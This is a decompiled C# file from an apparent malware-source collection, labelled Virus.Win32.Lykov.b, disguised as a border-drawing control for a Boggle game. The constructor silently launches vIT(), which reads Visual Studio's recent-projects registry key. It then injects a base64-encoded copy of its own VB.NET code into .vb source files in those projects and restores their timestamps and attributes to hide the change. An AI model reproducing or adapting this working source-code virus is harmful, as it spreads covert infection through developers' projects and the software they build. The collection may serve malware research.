MalwareSourceCode/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.cs

238 lines
12 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Boggle.BogBorder
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class BogBorder : PictureBox
{
private IContainer components;
private BogBorder.Direction clsBorderDirection;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public BogBorder()
{
this.Resize += new EventHandler(this.BogBorder_Resize);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container();
public BogBorder.Direction BorderDirection
{
get => this.clsBorderDirection;
set
{
this.clsBorderDirection = value;
this.Refresh();
}
}
protected override void OnPaint(PaintEventArgs pe)
{
Pen pen1 = new Pen(System.Drawing.Color.Black);
Rectangle rect = new Rectangle(0, 0, this.Width, this.Height);
GraphicsPath graphicsPath1 = new GraphicsPath();
GraphicsPath graphicsPath2 = new GraphicsPath();
GraphicsPath graphicsPath3 = new GraphicsPath();
GraphicsPath graphicsPath4 = new GraphicsPath();
int red = (int) System.Drawing.Color.DarkGray.R;
int green = (int) System.Drawing.Color.DarkGray.G;
int blue = (int) System.Drawing.Color.DarkGray.B;
double width = (double) this.Width;
float StepValue = (float) this.Width / (float) red;
float limit = (float) width;
for (float num = 0.0f; FlowControl.ForNextCheckR4(num, limit, StepValue); num += StepValue)
{
checked { --red; }
checked { --green; }
checked { --blue; }
if (red == 0)
red = 1;
if (green == 0)
green = 1;
if (blue == 0)
blue = 1;
Pen pen2 = new Pen(System.Drawing.Color.FromArgb(red, green, blue));
GraphicsPath graphicsPath5 = new GraphicsPath();
GraphicsPath graphicsPath6 = new GraphicsPath();
GraphicsPath graphicsPath7 = new GraphicsPath();
PointF pointF1;
PointF pointF2;
PointF pointF3;
PointF pointF4;
Point point1;
Point point2;
switch (this.clsBorderDirection)
{
case BogBorder.Direction.Left:
GraphicsPath graphicsPath8 = graphicsPath5;
pointF1 = new PointF(num, 40f);
PointF pt1_1 = pointF1;
pointF2 = new PointF(num, num);
PointF pt2_1 = pointF2;
pointF3 = new PointF(num, num);
PointF pt3_1 = pointF3;
pointF4 = new PointF(40f, num);
PointF pt4_1 = pointF4;
graphicsPath8.AddBezier(pt1_1, pt2_1, pt3_1, pt4_1);
GraphicsPath graphicsPath9 = graphicsPath7;
pointF4 = new PointF(num, (float) checked (this.Height - 40));
PointF pt1_2 = pointF4;
pointF3 = new PointF(num, (float) this.Height - num);
PointF pt2_2 = pointF3;
pointF2 = new PointF(num, (float) this.Height - num);
PointF pt3_2 = pointF2;
pointF1 = new PointF(40f, (float) this.Height - num);
PointF pt4_2 = pointF1;
graphicsPath9.AddBezier(pt1_2, pt2_2, pt3_2, pt4_2);
GraphicsPath graphicsPath10 = graphicsPath6;
point1 = new Point(checked ((int) Math.Round((double) num)), 40);
Point pt1_3 = point1;
point2 = new Point(checked ((int) Math.Round((double) num)), checked (this.Height - 40));
Point pt2_3 = point2;
graphicsPath10.AddLine(pt1_3, pt2_3);
break;
case BogBorder.Direction.Right:
GraphicsPath graphicsPath11 = graphicsPath5;
pointF4 = new PointF((float) this.Width - num, 40f);
PointF pt1_4 = pointF4;
pointF3 = new PointF((float) this.Width - num, num);
PointF pt2_4 = pointF3;
pointF2 = new PointF((float) this.Width - num, num);
PointF pt3_3 = pointF2;
pointF1 = new PointF(0.0f, num);
PointF pt4_3 = pointF1;
graphicsPath11.AddBezier(pt1_4, pt2_4, pt3_3, pt4_3);
GraphicsPath graphicsPath12 = graphicsPath7;
pointF4 = new PointF((float) this.Width - num, (float) checked (this.Height - 40));
PointF pt1_5 = pointF4;
pointF3 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt2_5 = pointF3;
pointF2 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt3_4 = pointF2;
pointF1 = new PointF(0.0f, (float) this.Height - num);
PointF pt4_4 = pointF1;
graphicsPath12.AddBezier(pt1_5, pt2_5, pt3_4, pt4_4);
GraphicsPath graphicsPath13 = graphicsPath6;
point2 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), 40);
Point pt1_6 = point2;
point1 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), checked (this.Height - 40));
Point pt2_6 = point1;
graphicsPath13.AddLine(pt1_6, pt2_6);
break;
case BogBorder.Direction.Top:
LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, System.Drawing.Color.DarkGray, System.Drawing.Color.Black, LinearGradientMode.Vertical);
graphicsPath6.AddRectangle(rect);
pe.Graphics.FillPath((Brush) linearGradientBrush1, graphicsPath6);
goto label_14;
case BogBorder.Direction.Bottom:
LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, System.Drawing.Color.Black, System.Drawing.Color.DarkGray, LinearGradientMode.Vertical);
graphicsPath6.AddRectangle(rect);
pe.Graphics.FillPath((Brush) linearGradientBrush2, graphicsPath6);
goto label_14;
}
pe.Graphics.DrawPath(pen2, graphicsPath5);
pe.Graphics.DrawPath(pen2, graphicsPath7);
pe.Graphics.DrawPath(pen2, graphicsPath6);
graphicsPath4.AddPath(graphicsPath5, true);
graphicsPath4.AddPath(graphicsPath6, true);
graphicsPath4.AddPath(graphicsPath7, true);
}
label_14:
this.BackColor = System.Drawing.Color.DarkGray;
}
private void BogBorder_Resize(object sender, EventArgs e) => this.Refresh();
public enum Direction
{
Left,
Right,
Top,
Bottom,
}
}
}